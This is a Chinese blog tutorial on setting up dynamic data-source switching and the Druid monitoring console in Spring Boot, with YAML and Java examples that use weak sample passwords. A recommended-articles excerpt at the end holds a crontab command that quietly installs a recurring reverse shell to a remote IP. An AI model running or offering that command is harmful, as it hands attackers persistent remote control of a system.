Springboot+Druid 动态数据源配置监控
一、引入maven依赖,使用 starter 与原生 druid 依赖配置有所不同
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.8</version>
</dependency>
二、配置数据源
spring:
datasource:
druid:
filter:
stat: #开启sql监控
enabled: true
wall:
enabled: true
slf4j:
enabled: true
DB1:
type: com.alibaba.druid.pool.DruidDataSource
url: jdbc:sqlserver://127.0.0.1:1487;DatabaseName=CN2018
username: root
password: 12345
driver-class-name: com.microsoft.sqlserver.jdbc.SQLServerDriver
# 连接池的配置信息
initial-size: 5
min-idle: 5
maxActive: 20
maxWait: 60000 # 配置获取连接等待超时的时间
timeBetweenEvictionRunsMillis: 60000 # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒
minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最小生存的时间,单位是毫秒
# validationQuery: SELECT 1 FROM DUAL # mysql数据库
validationQuery: SELECT 1 # sqlserver 数据库
poolPreparedStatements: true # 打开PSCache,并且指定每个连接上PSCache的大小
maxPoolPreparedStatementPerConnectionSize: 20
DB2:
type: com.alibaba.druid.pool.DruidDataSource
url: jdbc:sqlserver://127.0.0.1:1488;DatabaseName=DB2022
username: root
password: 123456
driver-class-name: com.microsoft.sqlserver.jdbc.SQLServerDriver
# 连接池的配置信息
initial-size: 1
min-idle: 1
maxActive: 5
maxWait: 60000 # 配置获取连接等待超时的时间
timeBetweenEvictionRunsMillis: 60000 # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒
minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最小生存的时间,单位是毫秒
# validationQuery: SELECT 1 FROM DUAL # mysql数据库
validationQuery: SELECT 1 # sqlServer 数据库
poolPreparedStatements: true # 打开PSCache,并且指定每个连接上PSCache的大小
maxPoolPreparedStatementPerConnectionSize: 20
三、创建配置类
//记录数据库名
public interface ContextConst {
enum DataSourceType{
DB1,DB2
}
}
//数据源持有类
@Slf4j
public class DataSourceContextHolder {
/**
* CONTEXT_HOLDER代表一个可以存放String类型的ThreadLocal对象,
* 此时任何一个线程可以并发访问这个变量,
* 对它进行写入、读取操作,都是线程安全的。
* 比如一个线程通过CONTEXT_HOLDER.set(“aaaa”);将数据写入ThreadLocal中,
* 在任何一个地方,都可以通过CONTEXT_HOLDER.get();将值获取出来。
* 这里写入的就是数据库名,
*/
private static final ThreadLocal<String> CONTEXT_HOLDER = new ThreadLocal<>(); public static void setDataSource(String dbType){
CONTEXT_HOLDER.set(dbType);
} public static String getDataSource(){
return CONTEXT_HOLDER.get();
} public static void clearDataSource(){
CONTEXT_HOLDER.remove();
}
}
//数据源路由实现类
public class DynamicDataSource extends AbstractRoutingDataSource {
/**
* @Description:数据源路由实现类 AbstractRoutingDataSource(每执行一次数据库 , 动态获取DataSource)
*/
@Override
protected Object determineCurrentLookupKey() {
return DataSourceContextHolder.getDataSource();
}
}
//自定义切换数据源注解
@Target({ElementType.TYPE,ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface TargetDateSouce {
ContextConst.DataSourceType value() default ContextConst.DataSourceType.DB1;
}
//AOP动态数据源通知
@Component
@Aspect
@Order(-1) //保证在@Transactional之前执行,必须加上,不然无法分辨是哪个数据源在执行事务
@Slf4j
public class DynamicDataSourceAspect { @Before("execution(* com.blaze.pboc.service..*.*(..))")
public void before(JoinPoint point) {
try {
TargetDateSouce annotationOfClass = point.getTarget().getClass().getAnnotation(TargetDateSouce.class);
String methodName = point.getSignature().getName();
Class[] parameterTypes = ((MethodSignature) point.getSignature()).getParameterTypes();
Method method = point.getTarget().getClass().getMethod(methodName, parameterTypes);
TargetDateSouce methodAnnotation = method.getAnnotation(TargetDateSouce.class);
methodAnnotation = methodAnnotation == null ? annotationOfClass : methodAnnotation;
ContextConst.DataSourceType dataSourceType = methodAnnotation != null && methodAnnotation.value() != null ? methodAnnotation.value() : ContextConst.DataSourceType.DB1;
DataSourceContextHolder.setDataSource(dataSourceType.name());
} catch (NoSuchMethodException e) {
log.error("error", e);
}
} @After("execution(* com.blaze.pboc.service..*.*(..))")
public void after(JoinPoint point) {
DataSourceContextHolder.clearDataSource();
}
}
//动态数据源配置类
@SpringBootConfiguration
public class DruidDataSourceConfig { @Bean
@ConfigurationProperties(prefix = "spring.datasource.druid.db1")
public DruidDataSource masterDataSource() {
return DruidDataSourceBuilder.create().build();
} @Bean
@ConfigurationProperties(prefix = "spring.datasource.druid.db2")
public DruidDataSource clusterDataSource() {
DruidDataSource druidDataSource = DruidDataSourceBuilder.create().build();
return druidDataSource;
} @Primary
@Bean
public DataSource dynamicDataSource() {
DynamicDataSource dynamicDataSource = new DynamicDataSource();
//配置默认数据源
dynamicDataSource.setDefaultTargetDataSource(masterDataSource());
//配置多数据源这里的key一定要是string类型,枚举类型并不支持,所以用到枚举中name()方法转成string,或者用toString方法。
HashMap<Object, Object> dataSourceMap = new HashMap();
dataSourceMap.put(ContextConst.DataSourceType.DB1.name(), masterDataSource());
dataSourceMap.put(ContextConst.DataSourceType.DB2.name(), clusterDataSource());
dynamicDataSource.setTargetDataSources(dataSourceMap);
return dynamicDataSource;
} // 配置@Transactional注解事务
@Bean
public PlatformTransactionManager transactionManager() {
return new DataSourceTransactionManager(dynamicDataSource());
} //配置 Druid 监控管理后台的Servlet;
//内置 Servlet 容器时没有web.xml文件,所以使用 Spring Boot 的注册 Servlet 方式
@Bean
public ServletRegistrationBean registrationBean() {
ServletRegistrationBean<StatViewServlet> bean = new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*");
Map<String, String> initParameters = new HashMap<>();
initParameters.put("loginUsername", "admin");
initParameters.put("loginPassword", "12345");
bean.setInitParameters(initParameters);
return bean;
} //去除Druid监控页面的广告
@Bean
public FilterRegistrationBean removeDruidAdFilter() throws IOException {
String text = Utils.readFromResource("support/http/resources/js/common.js");
final String newJs = text.replace("this.buildFooter();", "");
// 新建一个过滤器注册器对象
FilterRegistrationBean<Filter> registration = new FilterRegistrationBean<>();
// 注册common.js文件的过滤器
registration.addUrlPatterns("/druid/js/common.js");
// 添加一个匿名的过滤器对象,并把改造过的common.js文件内容写入到浏览器
registration.setFilter((servletRequest, servletResponse, filterChain) -> {
// 重置缓冲区,响应头不会被重置
servletResponse.resetBuffer();
// 把改造过的common.js文件内容写入到浏览器
servletResponse.getWriter().write(newJs);
});
return registration;
} }
四、测试,常用的数据源配置db1,无需添加注解

五、登陆 web 监控端


Springboot+Druid 动态数据源配置监控的更多相关文章
- Druid动态数据源配置
上文已经讲了单个数据源的Druid的配置(http://www.cnblogs.com/nbfujx/p/7686634.html) Druid动态数据源配置 主要是继承AbstractRouting ...
- Spring Boot2.x 动态数据源配置
原文链接: Spring Boot2.x 动态数据源配置 基于 Spring Boot 2.x.Spring Data JPA.druid.mysql 的动态数据源配置Demo,适合用于数据库的读写分 ...
- 基于springboot的多数据源配置
发布时间:2018-12-11 技术:springboot1.5.1 + maven3.0.1+ mybatis-plus-boot-starter2.3.1 + dynamic-datasour ...
- springboot+ibatis 多数据源配置
这个是boot基本版本包,因为我用的打包方式是war所以去除掉了boot内置的tomcat,但是为了方便测试又引入了内置tomcat,只要添加<scope>provided</sco ...
- (七)spring+druid多数据源配置
druid多数据源配置 一.druid简介 Druid首先是一个数据库连接池,但它不仅仅是一个数据库连接池,它还包含一个ProxyDriver,一系列内置的JDBC组件库,一个SQL Parser. ...
- springboot+druid连接池及监控配置
1. 问题描述 阿里巴巴的数据库连接池Druid在效率与稳定性都很高,被很多开发团队使用,并且自带的Druid监控也很好用,本章简单介绍下springboot+druid配置连接池及监控. 2. 解决 ...
- spring boot +mybatis+druid 多数据源配置
因为我的工程需要在两个数据库中操作数据,所以要配置两个数据库,我这里没有数据源没有什么主从之分,只是配合多数据源必须要指定一个主数据源,所以我就把 操作相对要对的那个数据库设置为主数据(dataBas ...
- Mybatis+Druid多数据源配置
在日常开发中我们可能会用到多数据源开发,什么是多数据源? 简单来讲的话,就是一个项目连接多个数据库.当然只是可能会用到,我暂时没见过应用场景,但是还是了解学习一下 此项目可以基于上一个简单集成项目进行 ...
- SpringBoot 的多数据源配置
最近在项目开发中,需要为一个使用 MySQL 数据库的 SpringBoot 项目,新添加一个 PLSQL 数据库数据源,那么就需要进行 SpringBoot 的多数据源开发.代码很简单,下面是实现的 ...
随机推荐
- Docker 安装&卸载
不同版本可能有差异具体信息查看官网 官网:https://docs.docker.com/engine/install/centos/ #环境准备 #查看环境 uname -r # 系统内核在3.10 ...
- 隐藏计划任务反弹shell
靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...
- JAVAWEB项目处理XSS漏洞攻击处理方案
对页面传入的参数值进行过滤,过滤方法如下 public static String xssEncode(String s) { if (s == null || s.equals("&quo ...
- 【LeetCode】5686. 移动所有球到每个盒子所需的最小操作数 Minimum Number of Operations to Move All Balls to Each Box
作者: 负雪明烛 id: fuxuemingzhu 公众号:负雪明烛 本文关键词:LeetCode,力扣,算法,算法题,交替合并字符串,Merge Strings Alternately,刷题群 目录 ...
- 【LeetCode】1120. Maximum Average Subtree 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 日期 题目地址:https://leetcod ...
- Python 图片转字符画 学习笔记
Python 图片转字符画 学习笔记 标签(空格分隔): Python 声明:此文章和所有代码是学习笔记,非原创,原文教程地址:https://www.shiyanlou.com/courses/37 ...
- 【LeetCode】888. Fair Candy Swap 公平的糖果棒交换(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人公众号: 每日算法题 本文关键词:力扣,LeetCode,算法题,算法,Python 目录 题目描述 题目大意 解题方法 代码 刷题心得 关于作 ...
- C. Unfair Poll
http://codeforces.com/problemset/problem/758/C C. Unfair Poll time limit per test 1 second memory li ...
- 自我学习与理解:keras框架下的深度学习(三)回归问题
本文主要是使用keras对其有的波士顿房价数据集做一个回归预测,其代码架构与之前一样(都只是使用多层感知机):数据的预处理.搭建网络框架.编译.循环训练以及测试训练的网络模型.其中除了数据预处理与之前 ...
- 第二十一个知识点:CRT算法如何提高RSA的性能?
第二十一个知识点:CRT算法如何提高RSA的性能? 中国剩余定理(The Chinese Remainder Theorem,CRT)表明,如果我们有两个等式\(x = a \mod N\) 和\(x ...